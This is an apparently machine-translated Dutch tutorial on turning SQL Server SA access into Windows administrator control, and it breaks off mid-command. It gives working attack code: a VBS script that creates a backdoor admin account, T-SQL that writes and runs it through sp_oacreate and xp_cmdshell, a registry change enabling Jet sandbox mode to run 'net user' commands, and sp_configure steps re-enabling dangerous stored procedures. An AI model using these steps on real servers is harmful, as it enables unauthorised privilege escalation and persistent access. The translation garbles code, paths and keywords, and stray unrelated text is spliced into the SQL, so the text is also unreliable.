Microsoft SQL Server SA toestemming nieuwste invasieve methode



SA-wachtwoord om toegang te krijgen, vaak omdat de server administrator, of "voorgangers" zal Net.exe en net1.exe worden beperkingen op het gebruik, kan niet toevoegen van de administrator account. We weten dat VBS in Active Directory (ADSI) deel uit van een winnt object, gebruikt om lokale bronnen te beheren, gebruiken en kan dus niet beroepen op CMD commando kan een beheerder, specifieke code toe te voegen is als volgt:

set wsnetwork = CreateObject ("WSCRIPT.NETWORK")

os = "WinNT ://"& wsnetwork.ComputerName

Stel ob = GetObject (os) 'Haal ADSI interface, bindende

Stel oe = GetObject (OS & "/ Beheerders, groep") "eigendom, admin-groep

Stel od = ob.Create ("user", "test") "een gebruiker te maken

od.SetPassword "1234" 'Set Password

od.SetInfo 'Opslaan

Set van GetObject = (OS & "/ test", gebruiker) 'Haal de gebruiker

oe.add OS & "/ test"

De bovenstaande code 1.vbs om vervolgens op te slaan, het commando voor de "cscript 1.vbs", dus zal het systeem toe te voegen een systeem genaamd de test, de gebruiker is 1234. Specifieke implementatie van de code in Query Analyzer als volgt:

te verklaren @ o int, int f @, @ t int, int @ RET

exec sp_oacreate 'scripting.filesystemobject', @ o out

exec sp_oamethod @ o, 'CreateTextFile', @ f uit, "c: 1.vbs ', 1

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'set wsnetwork = CreateObject

("WSCRIPT.NETWORK") '

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'os = "WinNT ://"& wsnetwork.

Computernaam '

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set ob = GetObject (os)'

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set oe = GetObject

(Os & "/ Beheerders, groep") "

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set od = ob.Create

("Gebruiker", "test") '

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'od.SetPassword "1234"'

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'od.SetInfo'

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'Set = GetObject

(Os & "/ test", gebruiker) "

exec @ ret = sp_oamethod @ f, 'WriteLine', NULL, 'oe.add OS & "/ test"'

Via de bovenstaande verklaring, dan is de uitvoering naar aanleiding van deze regel code, deze regel code in de uitvoering van bepaalde individuele, niet met de uitvoering van het bovenstaande en, anders zal prompt "C: 1.vbs wordt gerund door een ander programma" kan niet met succes toe te voegen van de gebruiker :

exec master .. xp_cmdshell 'cscript c: 1.vbs'

Als de gebruiker niet toe te voegen succesvol is, kan dit zijn omdat het systeem de gebruiker het wachtwoord van 1234 is te simpel, niet voldoet aan de complexe password policy server, overwegen meer gecompliceerde instellingen, en vervolgens te testen. U kunt ook gebruik maken van echo 1.vbs, de code-formaat te schrijven is:

exec master .. xp_cmdshell 'echo set wsnetwork = CreateObject ("WSCRIPT.NETWORK")

1.vbs '

Echter, weet niet waarom alles met "&" tekens in de command lijnen niet kan 1.vbs schrijven, geïnteresseerd in wat een vriend kan proberen op te lossen.

Met behulp van jet zand tafel model kan worden opgelost XP_cmdshell andere stored procedures en relevante dynamic link library ergernis. Om veiligheidsredenen is het systeem niet standaard op zand tafel model, dat vereist xp_regwrite open zand tafelmodel te openen:

Exec master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE", "SOFTWAREMicrosoftJet4.0

Engines ',' SandBoxMode "," REG_DWORD ", 1

Vervolgens voert het zand opdracht Tabel, het systeem voegt een gebruiker met de naam test, het wachtwoord voor de 1234 gebruikers:

back-up te selecteren bin conf config gegevens eshow_sitemap.html generate.sh log maint sitemap.html svn tmp uit OpenRowSet ('microsoft.jet.oledb.4.0', '; database = c: windows

system32iasias.mdb ',' Selecteer shell ("cmd.exe / c net user-test 1234 / toe te voegen ')")

back-up te selecteren bin conf config gegevens eshow_sitemap.html generate.sh log maint sitemap.html svn tmp uit OpenRowSet ('microsoft.jet.oledb.4.0', '; database = c: windows

system32iasias.mdb ',' Selecteer shell ("cmd.exe / c net localgroup

beheerders test / toe te voegen ') ")

Verschillende besturingssystemen, het pad is niet dezelfde behoefte om wijzigingen in de situatie te maken:

NT/2K: c: winntsystem32
XP/2003: c: windowssystem32
Een andere Microsoft SQL Server2005 in verzuim, het aantal opgeslagen procedure is afgesloten en vraagt om een commando te openen:

Open XP_cmdshell:

EXEC sp_configure 'Toon geavanceerde zoekopties', 1; opnieuw te configureren; EXEC sp_configure

'Xp_cmdshell', 1; opnieuw te configureren;

Open 'OPENROWSET':

exec sp_configure 'Toon geavanceerde zoekopties', 1; opnieuw te configureren; exec sp_configure

"Ad Hoc Distributed Query ', 1; opnieuw te configureren;

Open 'sp_oacreate':

exec sp_configure 'Toon geavanceerde zoekopties', 1; opnieuw te configureren; exec sp